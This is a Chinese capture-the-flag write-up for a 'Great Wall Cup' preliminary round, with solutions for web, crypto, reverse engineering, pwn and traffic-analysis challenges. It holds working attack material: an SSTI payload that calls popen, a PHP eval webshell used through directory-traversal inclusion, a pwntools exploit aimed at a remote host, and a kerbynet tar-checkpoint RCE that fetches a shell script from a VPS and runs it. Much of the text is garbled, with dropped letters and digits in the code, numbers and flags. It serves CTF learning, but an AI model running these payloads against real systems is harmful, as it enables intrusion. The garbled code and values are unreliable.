第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUP
第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUP
第二届“长城杯”铁人三项赛 (防护赛)初赛WriteUP
Web
from flask import Flask, request, render\_template\_string
import socket
import threading
import html
app = Flask(\_\_name\_\_)
@app.route('/', methods=["GET"])
def source():
with open(\_\_file\_\_, 'r', encoding='utf-8') as f:
return '<pre>'+(f.read())+'</pre>'
@app.route('/', methods=["POST"])
def template():
template\_code = request.form.get("code")
# 安全过滤
blacklist = ['\_\_', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template\_code:
return "Forbidden content detected!"
result = render\_template\_string(template\_code)
print(result)
return 'ok' if result is not one else 'error'
class HTTPProxyHandler:
def \_\_init\_\_(self, target\_host, target\_port):
\_host = target\_host
\_port = target\_port
def handle\_request(self, client\_socket):
try:
request\_data = b""
while True:
c = client\_socket.recv(4096)
request\_data += c
if len(c) < 4096:
break
if not request\_data:
client\_()
return
with socket.socket(socket.AF\_IET, socket.SOCK\_STREAM) as proxy\_socket:
proxy\_((\_host, \_port))
proxy\_socket.sendall(request\_data)
respe\_data = b""
while True:
c = proxy\_socket.recv(4096)
if not c:
break
respe\_data += c
header\_end = respe\_data.rfind(b"\r\n\r\n")
if header\_end != -1:
body = respe\_data[header\_end + 4:]
else:
body = respe\_data
respe\_body = body
respe = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(respe\_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + respe\_body
client\_socket.sendall(respe)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client\_()
def start\_proxy\_server(host, port, target\_host, target\_port):
proxy\_handler = HTTPProxyHandler(target\_host, target\_port)
server\_socket = socket.socket(socket.AF\_IET, socket.SOCK\_STREAM)
server\_socket.bind((host, port))
server\_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target\_host}:{target\_port}...")
try:
while True:
client\_socket, addr = server\_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy\_handler.handle\_request, args=(client\_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server\_()
def run\_flask\_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if \_\_name\_\_ == "\_\_main\_\_":
proxy\_host = "0.0.0.0"
proxy\_port = 5001
target\_host = "127.0.0.1"
target\_port = 5000
# 安全反代,防止针对响应头的攻击
proxy\_thread = threading.Thread(target=start\_proxy\_server, args=(proxy\_host, proxy\_port, target\_host, target\_port))
proxy\_thread.daemon = True
proxy\_thread.start()
print("Starting Flask app...")
run\_flask\_app()
考了ssti
在/路由会有两种处理
使用get访问会读取当前的python脚本的内容 并返回源码
使用post方法会获取code的内容 黑名单进行过滤 然后渲染模板
绕过过滤
blacklist = '__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n'
当前是无回显的ssti
我们要进行无回显的绕过 构造
我们可以使用fenjing来自动构造payload
我们有黑名单 我们可以本地起一个ssti
代码语言:python代码运行次数:0运行复制from flask import Flask, request, render\_template\_string
import socket
import threading
import html
app = Flask(\_\_name\_\_)
@app.route('/', methods=["GET"])
def source():
with open(\_\_file\_\_, 'r', encoding='utf-8') as f:
return '<pre>'+(f.read())+'</pre>'
@app.route('/', methods=["POST"])
def template():
template\_code = request.form.get("code")
# 安全过滤
blacklist = ['\_\_', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template\_code:
return "Forbidden content detected!"
try:
result = render\_template\_string(template\_code)
return result # 直接返回渲染后的模板内容
except Exception as e:
return f"Error: {str(e)}" # 返回错误信息
class HTTPProxyHandler:
def \_\_init\_\_(self, target\_host, target\_port):
\_host = target\_host
\_port = target\_port
def handle\_request(self, client\_socket):
try:
request\_data = b""
while True:
c = client\_socket.recv(4096)
request\_data += c
if len(c) < 4096:
break
if not request\_data:
client\_()
return
with socket.socket(socket.AF\_IET, socket.SOCK\_STREAM) as proxy\_socket:
proxy\_((\_host, \_port))
proxy\_socket.sendall(request\_data)
respe\_data = b""
while True:
c = proxy\_socket.recv(4096)
if not c:
break
respe\_data += c
header\_end = respe\_data.rfind(b"\r\n\r\n")
if header\_end != -1:
body = respe\_data[header\_end + 4:]
else:
body = respe\_data
respe\_body = body
respe = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(respe\_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + respe\_body
client\_socket.sendall(respe)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client\_()
def start\_proxy\_server(host, port, target\_host, target\_port):
proxy\_handler = HTTPProxyHandler(target\_host, target\_port)
server\_socket = socket.socket(socket.AF\_IET, socket.SOCK\_STREAM)
server\_socket.bind((host, port))
server\_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target\_host}:{target\_port}...")
try:
while True:
client\_socket, addr = server\_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy\_handler.handle\_request, args=(client\_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server\_()
def run\_flask\_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if \_\_name\_\_ == "\_\_main\_\_":
proxy\_host = "0.0.0.0"
proxy\_port = 5001
target\_host = "127.0.0.1"
target\_port = 5000
# 安全反代,防止针对响应头的攻击
proxy\_thread = threading.Thread(target=start\_proxy\_server, args=(proxy\_host, proxy\_port, target\_host, target\_port))
proxy\_thread.daemon = True
proxy\_thread.start()
print("Starting Flask app...")
run\_flask\_app()
我们改成了有回显的ssti
本地运行
使用fenjing梭哈
提交表单完成,返回值为200,输入为{'code': "{%print g.pop'_'*2+'globals'+'_'*2'_'*2+'i''mport'+'_'*2'p''open'.read()%}"},表单为{'action': '/', 'method': 'POST', 'inputs': {'code'}}
得到payload
url编码 运行
get访问路由/
就会访问app.py
我们就可以访问到flag
flag{0c51897-d0c-49c1-bb4f-44f074f484c}
发现 ../hackme.php
文件包含 ../hackme.php
但访问不到
有过滤 尝试绕过过滤
可以双写然后绕过过滤....//hackme.php
.php?file=....//hackme.php
查看上一级目录
查看tips
代码语言:php复制<?php
highlight\_file(\_\_FILE\_\_);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%6%7%77%6F4%2B%667%6A");
$YwzIst=$lapUCm{}.$lapUCm{6}.$lapUCm{}.$lapUCm{0};$OxirhK=$lapUCm{}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{1};$YwzIst.=$lapUCm{22}.$lapUCm{6}.$lapUCm{29}.$lapUCm{26}.$lapUCm{0}.$lapUCm{2}.$lapUCm{5}.$lapUCm{26}.$lapUCm{0};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUF2anJGeldaeWIWGZkYXVrcUdnd05wdElCS2lEchRXpxQlprTVVWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IURDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYRZF0hOCtPeD09IjtldmFsKCc/PicuJFleklzdCgkThpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
逐层输出
代码语言:php复制$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYIhgYRsDhUVBwEXGvE7HM8+Ox==";eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU\*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
获取密码
代码语言:php复制<?php
highlight\_file(\_\_FILE\_\_);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%6%7%77%6F4%2B%667%6A");
$YwzIst=$lapUCm{}.$lapUCm{6}.$lapUCm{}.$lapUCm{0};$OxirhK=$lapUCm{}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{1};
$YwzIst.=$lapUCm{22}.$lapUCm{6}.$lapUCm{29}.$lapUCm{26}.$lapUCm{0}.$lapUCm{2}.$lapUCm{5}.$lapUCm{26}.$lapUCm{0};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUF2anJGeldaeWIWGZkYXVrcUdnd05wdElCS2lEchRXpxQlprTVVWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IURDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYRZF0hOCtPeD09IjtldmFsKCc/PicuJFleklzdCgkThpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYIhgYRsDhUVBwEXGvE7HM8+Ox==";
echo $YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU\*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU)));
?>
</code><?php @eval($\\\_POST['cmd\\\_66.99']); ?>
非法字符传参 用[绕过
cmd[66.99
蚁剑连接
/var/run/log/1c448004444d2791e0661fa2f216b20/flag
到flag
flag{7cc8ccc6-fcaf-4446-9f8-e1de21c0da97}
Crypto
题目:
代码语言:python代码运行次数:0运行复制from Crypto. import getPrime, bytes\_to\_long
from random import randint
import os
FLAG = os.getenv("FLAG").encode()
flag1 = FLAG[:15]
flag2 = FLAG[15:]
def crypto1():
p = getPrime(1024)
q = getPrime(1024)
n = p q
e = 0x10001
x1=randint(0,211)
y1=randint(0,2114)
x2=randint(0,211)
y2=randint(0,2514)
hint1=x1p+y1q-0x114
hint2=x2p+y2q-0x514
c = pow(bytes\_to\_long(flag1), e, n)
print(n)
print(c)
print(hint1)
print(hint2)
def crypto2():
p = getPrime(1024)
q = getPrime(1024)
n = p q
e = 0x10001
hint = pow(514p - 114q, n - p - q, n)
c = pow(bytes\_to\_long(flag2),e,n)
print(n)
print(c)
print(hint)
print("==================================================================")
crypto1()
print("==================================================================")
crypto2()
print("==================================================================")
flag分为两部分,第一部分用4个随机数与p,q组成了两个等式,我们要利用这两个等式求出p,q来解第一部分的flag,我们知道hint1 和 hint2 是与 p 和 q 相关的线性组合,hint1=x1_p+y1_q-0x114 hint2=x2_p+y2_q-0x514,这两个等式可以表示为hint1=x1⋅p+y1⋅q+C1,hint2=x2⋅p+y2⋅q+C2,其中C1 和 C2 是常数,根据数论的性质,如果 a 和 b 是两个整数,且 d=gcd(a,b)那么d 也是 a 和 b 的任何线性组合的因子,这意味着:如果我们能够构造出两个: k 和 w 的线性组合,使得包含 p 或 q 的因子,这里需要爆破,那么gcd(k−w,n) 将会返回一个因子,这里我假设返回的是n的一个因子,后面发现还真的是。nc获取数据:
第一部分解密脚本:
代码语言:python代码运行次数:0运行复制from tqdm import trange
from Crypto. import
from gmpy2 import
n= 1808801167158976982165525440866228985114080576725768019061415671826851944452212265125890986694640402674951858999872175080247892114982594521092145567149128570124082966625646952868612524015209265124559155464994147875662057509821566076816579297882757864268166056115267751689965490516009150901987185126194922227822690501171051789911005174685812989180420262782556796674721842512008870012546120060985779101952154697082271457880772958870074664617042662684024821178579951107211197510146740019549711611948589270670049148697150788171556571011518294564256286758709959894519281526
c = 967226129204917951059961214856872050798624795579447289221642511008002805280454789400291916080267724560275424484528011592619544974299867709529677906540570917140752621621849467071470092015059828199546950744229618882778604852910046402244856048524492616127009927565758861648180165779902448272404465691765009519984751672074242205420702879678250184762759411967155111477701016670617854962067657886245546694215902060492147587555920715926280872070294209575005520269746827062788802610986127996615206689556984879122114975621546907715647227084898020547874882
hint1 = 1876778888142006774421295766759967064686199080491125059254462974942708097254945959078790790069180481182857069981792229544125999224768079227142591297784811812549649176850872826544202576189422178425571060216558942910549725109851649650098921170981042077682870660210271492578841507474415884181541299691978811009281
hint2 = 45771442957060648412914611409444775811879541948946275999994972172561702229741058762926787116204596868500890648825426951660419879780782092129212780504069962868026895248169765108100979971844489641980452900179001092641108224659967657954521440648157614121104087246151217148795476070667586668270257666908970718869551812041544718060196177605478481075885401565047589578754246557060545124917121668686072249829598619089018694485118
for i in trange(211):
for w in range(211):
k = (hint1 + 0x114) i
w = (hint2 + 0x514) w
l = gcd(k - w, n)
if l != 1 and isPrime(l):
p = l
q = n // p
d = inverse(6557, (p - 1) (q - 1))
m = pow(c, d, n)
print(long\_to\_bytes(m).decode())
RSA 加密中的参数推导与求解
在 RSA 加密中,主要有以下几个参数:
- 模数 (n):由两个大素数 p 和 q 的乘积构成,即
- 公钥指数 (e):通常是一个小的常数(如 6557),用于加密过程
- 私钥 (d):用于解密过程,通常通过
计算得出
线性组合的构造
我们可以构造一个线性组合,比如:
这个组合可以看作是 p 和 q 的某种关系,我们可以将其视为一个新的变量 k。
我们要计算的 hint 是:
这表示将
提升到
的幂,然后对 n 取模。
推导过程
根据 RSA 的性质,我们知道:
因此
可以表示为:
计算 hint
将 k 代入 hint 的计算中:
解释 hint
这个 hint 的计算实际上是将
的结果提升到
的幂,并对 n 取模。这个操作在 RSA 中是合法的,因为我们在模 n 的范围内进行运算。
从 hint 的定义出发
这意味着:
求逆
如果我们想要得到
,我们可以通过求逆来实现:
这意味着:
所以可以利用这个关系组成个等式,来求出两个未知数。
下面是使用 Python 和 Z Solver 来求解 p 和 q 的代码:
代码语言:python代码运行次数:0运行复制from Crypto. import inverse, long\_to\_bytes
from z import Ints, Solver, sat
n = 1927046918014977261926805208190524592250810115109777149112570556666751141996751197546664966014556774615485949089804617588505700925109196282215644541767482270242118646267081177169262409758477448146972497188062608600218091297957425470560977979161252720121595897141074545145914400212447088811986171486174189890050594580069228202566128478780154494981747996566920221591419045264649608988242490897579792951780055051016688792692796182966948860241612244642741597658758777488950156505928602525128626424299704498991187170451016088057274704264519519592545865055201
c = 179222697929190200546152157447759681262419562664772597511674645027165054217088700712694858119752992795164582190860512062757750488654816499462778116196471916907951607149902010181470999189127770424498490096501950489912241610809252912279421092456126250665522781816557706705271515820409886214752056987670727215247007586110492527467994925962509290942227801261486111298567902002741642247280600001959804826678014421448509977961661529686741279522620207142790027728694189211475810569809600589965085625241546561252121040044921520878948500002980889791088501992627049267597054
hint = 19269299988801818080182785526912764842828900490768978918597015048165655791700219166896729479721717081850027576975145920076792641715979
__题目:
代码语言:python代码运行次数:0运行复制import os
from Crypto. import
def giaogiao(hex\_string):
base\_num = 0x6c62272e07bb014262b821756295c58d
x = 0x000000000100000000000000000001b
MOD = 2\*128
for i in hex\_string:
base\_num = (base\_num x) & (MOD - 1)
base\_num ^= i
return base\_num
giao=20141456072442299476166749810895688
print("1geiwoligiaogiao")
hex\_string = int(input(),16)
s = long\_to\_bytes(hex\_string)
if giaogiao(s) == giao:
print(os.getenv('FLAG'))
else:
print("error")
审计可得:giaogiao 函数是一个自定义的哈希函数,接受一个十六进制字符串作为输入,使用乘法和异或操作来处理输入的字节,并返回一个计算结果,程序提示输入一个十六进制字符串,将其转换为字节,然后调用 giaogiao 函数进行计算,最后与预定义的常量 giao 进行比较,如果匹配,则输出环境变量 FLAG 的值,否则输出错误信息,这题想要采用爆破几乎是不可能的,所以还是得采用技巧,我们可以利用线性代数中的矩阵运算和数论中的模运算来进行解密,在解密代码中构建了一个矩阵 M,并通过增广和应用 BKZ(Block Korkin-Zolotarev)算法来处理这个矩阵,BKZ 算法是一种用于解决整数线性规划问题的算法,通常用于寻短向量或近似最优解,然后通过对矩阵的行进行操作,到一个有效的解,这个解是通过线性组合得到的,总的来说就是通过构建和操作矩阵、应用算法和利用位运算的特性,能够有效地进行解密。解密脚本:
代码语言:python代码运行次数:0运行复制key = 0x6c62272e07bb014262b821756295c58d
p\_value = 0x000000000100000000000000000001b
limit = 2 ^ 128 # 模数
wpk\_value = 20141456072442299476166749810895688 # 目标值
n = 20 # 矩阵的维度
创建矩阵 M,包含 p 的幂和目标值的计算
M = ([p\_value^(n - i - 1) for i in range(n)] + [-(wpk\_value - key p\_value ^ n), limit])
M = M.augment(identity\_matrix(n + 1).stack(vector([0] (n + 1)))) # 增广矩阵
Q = Matrix.diagonal([2^256] + [2^8] n + [2^16]) # 对角矩阵
M = Q # 矩阵乘法
M = M.BKZ() # 应用 BKZ 算法
M /= Q # 归一化
遍历矩阵 M,寻满足条件的行
for row in M:
if row[0] == 0 and abs(row[-1]) == 1:
row = row[-1]
valid\_solution = row[1:-1]
break
answers = [] # 存储答案
y\_value = int(key p\_value)
t\_value = (key p\_value ^ n + valid\_solution[0] p\_value ^ (n - 1)) % limit #
for i in range(n):
for x in range(256):
y\_temp = (int(y\_value) ^^ int(x)) p\_value ^ (n - i - 1) % limit # 计算 y\_temp
if y\_temp == t\_value:
answers.append(x)
if i < n - 1:
t\_value = (t\_value + valid\_solution[i + 1] p\_value ^ (n - i - 2)) % limit
y\_value = ((int(y\_value) ^^ int(x)) \* p\_value) % limit # 更新 y
break
print(bytes(answers).hex())
结果得到:1df2006d2e6215d001f5102a7c2a0a591516,输入这个就可以得到flag
RE
ida正常无法打开,需要这样
(这样也不完全可以,连着的几个都试试,换换版本,这里用的8.和9.0来回对照的看)
到一个key,和密文,
发现一个rc4c_crpyt猜测是rc4加密,数据去猜
密文
key
套个板子,发现是乱码,但最后一位是},猜测是倒序按位异或,试了一下,果然
exp
代码语言:python代码运行次数:0运行复制class RC4:
def \_\_init\_\_(self, key):
self.S = list(range(256)) # 初始化状态向量
self.key = [ord(char) for char in key] # 将密钥转换为整数列表
self.ksa() # 执行密钥调度算法
def ksa(self):
"""Key-Scheduling Algorithm (KSA)"""
j = 0
for i in range(256):
j = (j + self.S[i] + self.key[i % len(self.key)]) % 256
self.swap(self.S, i, j)
def rpga(self, length):
"""Pseudo-Random Generation Algorithm (PRGA)"""
i = j = 0
keystream = []
for \_ in range(length):
i = (i + 1) % 256
j = (j + self.S[i]) % 256
self.swap(self.S, i, j)
keystream.append(self.S[(self.S[i] + self.S[j]) % 256])
return keystream
def swap(self, s, i, j):
"""交换 S[i] 和 S[j]"""
s[i], s[j] = s[j], s[i]
def encrypt\_decrypt(self, data):
"""加密或解密数据"""
if isinstance(data, list): # 如果输入是整数列表,先转换为字节
data = bytes(data)
keystream = self.rpga(len(data))
result = bytearray()
for i in range(len(data)):
result.append(data[i] ^ keystream[i]) # 按位异或
return result
# 使用示例
encoded\_key = [
0x96, 0x8F, 0xB8, 0x08, 0x5D, 0xA7, 0x68, 0x44, 0xF2, 0x64,
0x92, 0x64, 0x42, 0x7A, 0x78, 0xE6, 0xEA, 0xC2, 0x78, 0xB8,
0x6, 0x9E, 0x5B, 0xD, 0xD9, 0x28, 0xF, 0xC8, 0x7, 0x06,
0xEE, 0x6B, 0x8D, 0x0C, 0x4B, 0xA, 0x2, 0xAE, 0xCA, 0x40,
0xED, 0xD1
]
key = "testkey"
rc4 = RC4(key)
# 解密数据
decrypted\_data = \_decrypt(encoded\_key)
flag = bytearray(decrypted\_data)
for i in range(len(flag) - 1, 0, -1):
flag[i - 1] ^= flag[i]
# 输出结果
print("Decrypted Flag (as bytes):", flag)
try:
print("Decrypted Flag (as string):", flag.decode('utf-8'))
except UnicodeDecodeError:
print("Decrypted Flag is not valid UTF-8.")
可以看的出来是命令行传参
尝试动调
这里才是最后加密的地方,不过是逐字符加密,并且会输出密文,直接爆破
代码语言:c代码运行次数:0运行复制#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX\_OUTPUT\_LE 1024
#define EC\_LE 22
#define FLAG\_LE 22
ct char \*enc[EC\_LE] = {
"2", "29", "1e", "24", "8", "0e", "15", "20", "7", "0e",
"05", "20", "00", "0e", "7", "12", "1d", "0f", "24", "01", "01", "9"
};
ct char printable[] = "012456789ABCDEFGHIJKLMOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!\"#$%&'()\*+,-./:;<=>?@[\\]^\_`{|}~ ";
int main() {
char flag[FLAG\_LE + 6] = "flag{";
int index = 5;
char output[MAX\_OUTPUT\_LE];
FILE \*fp;
for (int i = 0; i < 17; i++) {
for (int j = 0; printable[j] != '\0'; j++) {
snprintf(flag + strlen(flag), 2, "%c", printable[j]);
fp = popen(flag, "r");
if (fp == ULL) {
perror("popen failed");
return 1;
}
fgets(output, MAX\_OUTPUT\_LE, fp);
fclose(fp);
int len = strlen(output);
if (len >= (index + 1) \* 2) {
char hex\_pair[] = {output[index \* 2], output[index \* 2 + 1], '\0'};
if (strcmp(hex\_pair, enc[index]) == 0) {
printf("%c", printable[j]);
flag[strlen(flag) - 1] = printable[j];
index++;
break;
}
}
}
}
printf("\nFinal flag: %s\n", flag);
return 0;
}
PW
先check⼀下:
没有开启PIE。本题主要有add,edit,show函数没有free函数。
分析对于add函数,会创建⼀个0x20⼤⼩的c。
show函数就是输出c的内容
这⾥有个gift,会输出heap的地址。后续可以利⽤对于edit函数:漏洞点这⾥有个gift,会输出heap的地址。后续可以利⽤对于edit函数:漏洞点
这⾥有个函数调⽤的漏洞 当我们构造如下c时:
由于(void ( cdecl )(_DWORD))(&ptr_c + idx),所以会调⽤backdoor函数。然后执⾏我们的shell代码,进⽽命令执⾏EXP:
代码语言:python代码运行次数:0运行复制from pwn import \*
context(log\_level='debug',arch='i86', os='linux')
pwnfile = "./note"
io = remote("9.106.48.12",458)
#io = process(pwnfile)
elf = ELF(pwnfile)
def add():
io.sendlineafter(b"Choice>>",b"1")
def show(idx):
io.sendlineafter(b"Choice>>",b"2")
io.sendlineafter(b"index: ",str(idx))
def edit(idx,data):
io.sendlineafter(b"Choice>>",b"")
io.sendlineafter(b"index: ",str(idx))
io.sendlineafter(b"len: ",str(len(data)))
io.recvuntil(b"content: ")
io.sendline(data)
backdoor\_addr = 0x080489CE
add()
add()
show(0)
io.recvuntil(b"gift: 0x")
gift\_addr = int(io.recv(7),16)
print("gift----------------> :",hex(gift\_addr))
edit(0,p2(backdoor\_addr)+p2(0)\*4+p2(0x21)+p2(gift\_addr+8))
edit(1,b"aaaa")
io.interactive()
威胁检测与网络流量分析
先用工具梭哈一下,一下字符串
到了一个base64加密的flag字符串
ZmxhZs2QzJFMzhEQS1EOEU0LThEODQtEE0Ri1FMkFCRDAQTFGM0F9
解码得到flag
wireshark语法过滤到对应的http流分析payload
frame contains "ZmxhZs2QzJFMzhEQS1EOE"过滤包含flag的包
追踪http流
拿到payload
代码语言:http复制GET /cgi-bin/kerbynet?Action=x509view&Section=oAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A' HTTP/1.1
明显看出是一个rce的payload
代码语言:http复制GET /cgi-bin/kerbynet?Action=x509view&Section=oAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A' HTTP/1.1
先弹个shell到服务器方便后续操作,然后到flag文件
代码语言:http复制http://61.19.2.100/cgi-bin/kerbynet?Action=x509view&Section=oAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27curl%20http://vps:6677/a.sh%20-o%20/tmp/a.sh%27%0A%27
代码语言:http复制http://61.19.2.100/cgi-bin/kerbynet?Action=x509view&Section=oAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27/tmp/a.sh%27%0A%27
代码语言:bash复制bash-4.# find / -name flag\* 2>/dev/null
/DB/\_DB.001/flag
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/ETH00/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/pnp0/00:05/tty/ttyS0/flags
/sys/devices/virtual/net/bond/flags
/sys/devices/virtual/net/ip6tnl0/flags
/sys/devices/virtual/net/bond1/flags
/sys/devices/virtual/net/sit0/flags
/sys/devices/virtual/net/dummy1/flags
/sys/devices/virtual/net/bond8/flags
/sys/devices/virtual/net/DEFAULTBR/flags
/sys/devices/virtual/net/bond6/flags
/sys/devices/virtual/net/VP99/flags
/sys/devices/virtual/net/bond4/flags
/sys/devices/virtual/net/bond2/flags
/sys/devices/virtual/net/bond0/flags
/sys/devices/virtual/net/bond9/flags
/sys/devices/virtual/net/dummy0/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/bond7/flags
/sys/devices/virtual/net/bond5/flags
/Database/flag
bash-4.# cat /Database/flag
c6045425-6e6e-41d0-be09-95682a4f65c4
注意到tmp目录下有个隐藏文件.nginx很可疑,因此对其分析,导出到本地然后ida反编译
查看了字符串看到一个ip和一个字符串
到对应位置
函数开头存在/bin/bash可以大胆猜测就是外联的恶意木马
外联ip为202.115.89.10
同上题分析 ,恶意外联文件为.ngxin文件
同第三题分析,ida中IP下面有一串可疑字符串
输入ida获取到的字符串发现正确就是密钥
112244qweasdzxc
在shell中不断查询文件,寻包含".nginx"字符串的文件,最终在/var主目录下到
代码语言:bash复制bash-4.# grep -r '.nginx' /var
/var/register/system/startup/scripts/nat/File:cp /Database/.nginx /tmp/.nginx
/var/register/system/startup/scripts/nat/File:chmod +x /tmp/.nginx
/var/register/system/startup/scripts/nat/File:/tmp/.nginx
grep: /var/register/system/startup/scripts/wireless/File: o such file or directory
grep: /var/register/system/startup/scripts/preboot/File: o such file or directory
grep: /var/run/acpid.socket: o such device or address
bash-4.# cat /var/register/system/startup/scripts/nat/File
cp /Database/.nginx /tmp/.nginx
chmod +x /tmp/.nginx
/tmp/.nginxbash-4.#
/var/register/system/startup/scripts/nat/File文件复制到/tmp目录然后给了执行权限并执行,所以就是启动文件
看到hosts文件里有
猜测端口为80或44
flag{miscsecure:192.168.116.10:44}
计划任务中到了字符串
base64解码
html解码
ice,flag is {AES_encryption_algorithm_is_an_excellent_encryption_algorithm}
将流量包放到随波逐流里
然后进行分析 然后foremost提取出文件
提取出来了zip
用winrar打开
看文件的备注信息 发现了密码
5pe26Ze057q/5YWz6IGU6Z2e5bi46Ye6KaB
时间线关联非常重要
密码 解压出flag
flag{a1b2cd4e5f67890abcdef124567890-2f4d90a1b7c8e249df56e0a9b01b8a-CBC}
查ip
2024/11/09_16:22:42
01df5bc288e287d4cc8f11ea4d1929
flag{01DF5BC288E287D4CC8F11EA4D1929}
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" + str(len(respe\_body)).encode() + b"\r\n" \ b"Content-Type | |
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c = proxy\_socket.recv(4096) if not c | |
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'\n'] for black in blacklist | |
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0x78 | |
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b"2") io.sendlineafter(b"index | |
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0x64 | |
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{str(e)}" # 返回错误信息 class HTTPProxyHandler | |
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0x9E | |
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"9" }; ct char printable[] = "012456789ABCDEFGHIJKLMOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!\"#$%&'()\*+ | |
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MAX\_OUTPUT\_LE | |
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str(idx)) io.sendlineafter(b"len |